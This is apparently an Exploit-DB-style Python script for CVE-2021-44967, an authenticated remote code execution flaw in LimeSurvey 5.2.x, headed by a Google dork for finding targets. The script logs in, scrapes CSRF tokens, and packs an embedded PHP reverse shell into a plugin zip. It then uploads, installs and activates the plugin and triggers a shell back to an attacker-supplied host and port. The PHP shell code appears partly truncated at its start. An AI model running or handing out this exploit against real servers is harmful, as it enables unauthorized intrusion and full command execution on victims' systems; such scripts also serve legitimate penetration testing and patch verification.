# Exploit Title: LimeSurvey 5.2.4 - Authenticated Remote Code Execution (RCE) # Google Dork: inurl:limesurvey/index.php/admin/authentication/sa/login # Date: 05/12/2021 # Discovered by: Y1LD1R1M # Exploit Author: D3Ext # Vendor Homepage: https://www.limesurvey.org/ # Software Link: https://download.limesurvey.org/latest-stable-release/limesurvey5.2.4+211129.zip # Version: 5.2.x # Tested on: Kali Linux 2025 # CVE: CVE-2021-44967 # This exploit is a modification of the Y1LD1R1M's exploit so all rights to him #!/usr/bin/python3 # -*- coding: utf-8 -*- import os import sys import time import argparse import requests import sys import string import random import warnings import zipfile from bs4 import BeautifulSoup warnings.filterwarnings("ignore", category=UserWarning, module='bs4') def get_random_string(length): letters = string.ascii_lowercase result_str = ''.join(random.choice(letters) for i in range(length)) return result_str def get_csrf_token(url): page = req.get(url) response = page.text s = BeautifulSoup(response, 'html.parser') csrf_token = s.findAll('input')[0].get("value") return csrf_token # Main function if __name__ == '__main__': p = argparse.ArgumentParser(description="CVE-2021-44967 - LimeSurvey Authenticated RCE") p.add_argument('--url', help="URL of the LimeSurvey web root", required=True) p.add_argument('--user', help="username to log in", required=True) p.add_argument('--password', help="password of the username", required=True) p.add_argument('--lhost', help="local host to receive the reverse shell", required=True) p.add_argument('--lport', help="local port to receive the reverse shell", required=True) p.add_argument('--verbose', help="enable verbose", action='store_true', default=False, required=False) # Parse CLI arguments parser = p.parse_args() url = parser.url username = parser.user password = parser.password lhost = parser.lhost lport = parser.lport verbose = parser.verbose url = url.rstrip("/") req = requests.session() print("[+] CVE-2021-44967 - LimeSurvey Authenticated RCE\n") time.sleep(0.5) print("[+] URL: " + url + "\n") print("[*] Creating malicious zip file...") time.sleep(0.5) random_name = get_random_string(10) print(" > Plugin name: " + random_name) if verbose: print(" > Creating php reverse shell file...") php_content = """ array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>""" if verbose: print(" > Creating plugin XML config file...") config_content = """ """ + random_name + """ plugin 2020-03-20 2020-03-31 D3Ext https://github.com/D3Ext https://github.com/D3Ext 5.0 GNU General Public License version 2 or later 3.0 4.0 5.0 6.0 """ # create php file php_f = open("php-rev.php", "w") # write content php_f.write(php_content) php_f.close() # create config file config_f = open("config.xml", "w") # write content config_f.write(config_content) config_f.close() # create zip file with zipfile.ZipFile(random_name + ".zip", 'w') as zipf: zipf.write(os.path.abspath("config.xml"), arcname=os.path.basename("config.xml")) zipf.write(os.path.abspath("php-rev.php"), arcname=os.path.basename("php-rev.php")) # open zip file filehandle = open(random_name + ".zip", mode="rb") time.sleep(0.5) # remove files try: os.remove("php-rev.php") os.remove("config.xml") except Exception as e: print(e) print("\n[*] Sending login request...") time.sleep(0.5) if verbose: print(" > Capturing CSRF token...") csrf_token = get_csrf_token(url + "/index.php/admin/authentication/sa/login") if verbose: print(" > CSRF token: " + csrf_token) login_creds = { "user": username, "password": password, "authMethod": "Authdb", "loginlang": "default", "action": "login", "width": "1581", "login_submit": "login", "YII_CSRF_TOKEN": csrf_token } login = req.post(url + "/index.php/admin/authentication/sa/login", data=login_creds) print("[+] Successfully logged in as " + username + "\n") time.sleep(0.5) print("[*] Uploading malicious plugin...") time.sleep(0.5) if verbose: print(" > Retrieving CSRF token...") csrf_token2 = get_csrf_token(url + "/index.php/admin/pluginmanager/sa/index") if verbose: print(" > CSRF token: " + csrf_token2) upload_creds = { "YII_CSRF_TOKEN": csrf_token2, "lid": "$lid", "action": "templateupload" } file_upload = req.post(url + "/index.php/admin/pluginmanager?sa=upload", files = {'the_file': filehandle}, data=upload_creds) upload_page = req.get(url + "/index.php/admin/pluginmanager?sa=uploadConfirm") response = upload_page.text print("[+] The malicious plugin was successfully uploaded\n") time.sleep(0.5) print("[*] Installing uploaded plugin...") time.sleep(0.5) if verbose: print(" > Retrieving CSRF token...") csrf_token3 = get_csrf_token(url + "/index.php/admin/pluginmanager?sa=installUploadedPlugin") if verbose: print(" > CSRF token: " + csrf_token3) install_creds = { "YII_CSRF_TOKEN": csrf_token3, "isUpdate": "false" } file_install = req.post(url + "/index.php/admin/pluginmanager?sa=installUploadedPlugin", data=install_creds) print("[+] The plugin was successfully installed\n") time.sleep(0.5) print("[*] Activating malicious plugin...") time.sleep(0.5) if verbose: print(" > Retrieving CSRF token...") csrf_token4 = get_csrf_token(url + "/index.php/admin/pluginmanager?sa=activate") if verbose: print(" > CSRF token: " + csrf_token4) activate_data = { "YII_CSRF_TOKEN": csrf_token4, "pluginId": "1" } file_activate = req.post(url + "/index.php/admin/pluginmanager?sa=activate", data=activate_data) print("[+] Malicious plugin was successfully activated") time.sleep(0.5) print("\n[*] Triggering plugin by sending request to " + url + "/upload/plugins/" + random_name + "/php-rev.php") time.sleep(0.5) print("[+] Check your netcat listener!\n") # remove zip file os.remove(random_name + ".zip") # trigger php reverse shell rev = req.get(url + "/upload/plugins/" + random_name + "/php-rev.php")